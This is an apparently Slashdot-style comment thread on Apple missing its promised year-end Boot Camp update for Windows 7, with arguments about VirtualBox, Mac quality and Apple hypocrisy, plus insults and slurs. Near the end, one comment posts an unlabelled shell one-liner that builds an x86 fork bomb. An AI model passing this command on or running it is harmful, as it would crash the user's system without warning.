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Apple Fails To Deliver On Windows 7 Boot Camp Promise
SkydiverFL writes "For those fans of Apple's Boot Camp package, it looks like you might be waiting on the next 'end of year' to use Windows 7 on your shiny silver boxes. Back in October of this year, Apple published a rather short, but affirmative promise stating quite simply that, 'Apple will support Microsoft Windows 7 (Home Premium, Professional, and Ultimate) with Boot Camp in Mac OS X Snow Leopard before the end of the year. This support will require a software update to Boot Camp.' The support page has no updates regarding the new version. Maybe they're waiting for iSlate?"
Who cares about dual booting when you can run win 7 in virtualbox?
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Jesus Christ, people. It's only the first! Give them a few days before you start your cries of "But they said the end of the year!!!" Or would you like to be the employee stuck working through New Year's Eve and New Year's day to get the update out to a bunch of people who likely won't care if it's a few days late?
Who was the idiot who modded this troll?
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Name one. I bet you can't. Windows runs on VirtualBox and simply thinks it is running on different hardware than it is actually running on. What the hell kind of applications can't run on Windows just because the hardware is different?
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So what you meant was that some people might want the added speed benefits of running on bare metal rather than virtualizing. That is quite a bit different than saying they "don't run nicely". If you need AutoCAD for work and they don't provide a dedicated workstation then you have bigger problems than getting Windows 7 to work on your personal computer. If you need it for school then you aren't doing that kind of advanced 3D stuff. Still, your point is well taken, once paraphrased properly, that VirtualBox takes a performance hit and there are times when someone might want that.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Hypocrite Camp and be done with it?
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I think you misunderstood what the driver of the short bus meant when she told you that you weren't thinking nicely Jim.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
How does Apple do this, then leap all over Pystar? Am I missing some hypocritical anomaly?
Yeah, try finding a Mac user who ever looked behind the shiny surface of his protective retard padded system enough, to even remotely understand what that article means. ;))
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WINDOWS sucks you stupid troll
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Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Bull-fucking-shit
If you don't realize that a Macbook is of higher quality than a typical Dell or HP or whatever, you are either blind, stupid, or being paid to say otherwise. Every square millimeter on a Mac is labored over with the most extreme attention to detail. Even shit like the little rubber feet that go on the bottom are of higher quality and utility than on any other manufacturer's machines.
There's a difference between cheap and value. Figure it out, motherfucker.
Well that's good to know. Did you get a lot of wedgies at high school?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're alone there, I'm afraid.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun